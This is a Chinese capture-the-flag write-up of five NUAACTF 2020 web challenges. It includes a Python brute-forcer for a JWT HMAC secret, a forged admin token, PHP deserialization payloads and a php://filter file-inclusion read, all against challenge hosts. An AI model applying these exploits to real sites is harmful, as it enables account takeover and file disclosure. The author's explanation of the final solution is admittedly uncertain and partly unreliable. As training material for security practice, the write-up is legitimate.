是阳间题
感谢喵师傅的环境,膜:https://miaotony.xyz/2020/05/30/CTF_2020NUAACTF/
web1-checkin
ctrl+u的,没注意到在下面,后来在返回包的html里才看见。。。
nuaactf{we1cOme_to_NuaAcTF}
web2-jwt
关于jwt和jwt伪造,膜:https://blog.csdn.net/qq_45521281/article/details/106073624
github上有一个爆破jwt-secret的工具,膜:https://github.com/brendan-rius/c-jwt-cracker
知道原理后我们也可以自己写脚本:
首先随便注册一个号,登上去,看到自己的JWT:
JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhbmFvIn0.r8MVWvxF0V8QVmMYn8dMdfSUBAkc1f5LosyaOHoSPbU
把前两部分b64decode,有:
{"alg":"HS256","typ":"JWT"}
{"username":"hanao"}
然后根据加密方式和结果爆破出密码:(python3.8.2)
import hashlib
import hmac
import base64
chars = ["","0","1","2","3","4","5","6","7","8","9","q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"]
before = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhbmFvIn0".encode('utf-8')
secret = ""
after = "r8MVWvxF0V8QVmMYn8dMdfSUBAkc1f5LosyaOHoSPbU=".encode('utf-8')
#这里要用'='把after补够4的倍数位,方便比较
for i in range(0,62):
for j in range(0,62):
for k in range(0,62):
for l in range(0,62):
secret = chars[i] + chars[j] + chars[k] + chars[l];
secret = secret.encode('utf-8')
result = base64.b64encode(hmac.new(secret, before, digestmod=hashlib.sha256).digest())
if result == after:
print(secret)
exit()
用时大概一分钟;
之后就是根据之前的数据伪造JWT;
{"alg":"HS256","typ":"JWT"}
{"username":"admin"}
分别urlbase64后加点进行hmac-sha256;最终伪造出的JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.SYQ-AGwY5XIcxY621ToK8zEgomHE0Bla9tAUWTLxnwA
然后抓包修改JWT,再进入个人中心即可。
nuaactf{haojiGuoGuoTql}
web3-easypop
直接给了我们代码
没什么逻辑,直接整就行:(PHP)
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data;
}
echo urlencode(serialize(new lemon()));
?>
运行结果:
O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3BN%3B%7D%7D
访问:
http://139.9.221.0:8088/?d=O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3BN%3B%7D%7D
nuaactf{you_can_really_p0p}
web4-command inj
查看源码发现include.php
访问发现?file=index,文件读取:
http://139.9.221.0:8092/include.php?file=php://filter/read=convert.base64-encode/resource=include
伪协议相关,膜:https://blog.csdn.net/Ni9htMar3/article/details/69812306?locationNum=2&fps=1
文件包含相关,膜:https://blog.csdn.net/qq_42181428/article/details/87090539
解码后:
<?php error_reporting(0);
@$file = $_GET["file"];
if(isset($file)) {
if (preg_match('/http|data|ftp|input||flag/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100) {
echo "<p> error! </p>";
} else {
include($file.'.php');
setcookie("tips","createfun.php");
}
} else {
header('Location:include.php?file=index');
}
?>
提示createfun.php,再读一次;
<?php
$func = @$_GET['func'];
$arg = @$_GET['arg'];
if(isset($func)&&isset($arg)){$func($arg,'');}
PHP变量名可以当函数用,题目有提到command,试图用很多方式执行命令,但是都报错了,执行不了。惨惨。
考虑到第一个PHP中过滤了flag关键字,猜测flag在flag.php中,show_source:
nuaactf{php_IS_thE_best_language}
web5-escape
直接给了源码:
关于PHP的魔术方法:https://www.php.net/manual/zh/language.oop5.magic.php
首先是一个单次的过滤,可以双写绕过。
然后,在类C中提示flag.php,所以要让C的成员变量为:flaflagg.php,通过file_get_contents()得到flag
然后让类B的属性b等于类C,就会调用C中的__toString方法。
序列化如下:
<?php
class B{
public $b;
}
class C{
public $c = "flaflagg.php";
}
$a = new B();
$a->b = new C();
echo serialize($a);
?>
构造出:O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:12:"flaflagg.php";}}
题目中,序列化对象$a后,将字符串中的flag关键字过滤掉了,很明显是反序列化字符逃逸了,长度变化为4~0:
反序列化字符逃逸详解,膜:https://xz.aliyun.com/t/6718
不断尝试,可以构造:(特别注意最后文件名的字符长度为8,不是12)
?a=flagflagflagflagflagflag&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flaflagg.php";}}
这样的程序执行过程:
赋值:
$a->a=flagflagflagflagflagflag;
$a->b=1";s:8:“password”;O:1:“B”:1:{s:1:“b”;O:1:“C”:1:{s:1:“c”;s:8:“flaflagg.php”;}};
序列化后为:
O:1:"A":2:{s:8:"username";s:24:"flagflagflagflagflagflag";s:8:"password";s:71:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flaflagg.php";}}";}
过滤后为:
O:1:"A":2:{s:8:"username";s:24:"";s:8:"password";s:71:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}
再反序列化时,A的实例的username成员变量会读取24个字符,即:";s:8:“password”;s:71:"1这一段;
后面的就会被读成类B的一个实例,这个实例中的成员变量又是类C的一个实例。最后执行。
flag{you_can_readlly_dance}
**> **> **> **
P.S. 最后这个并不是很懂。。。如果理解有误,烦请各位师傅指正~感谢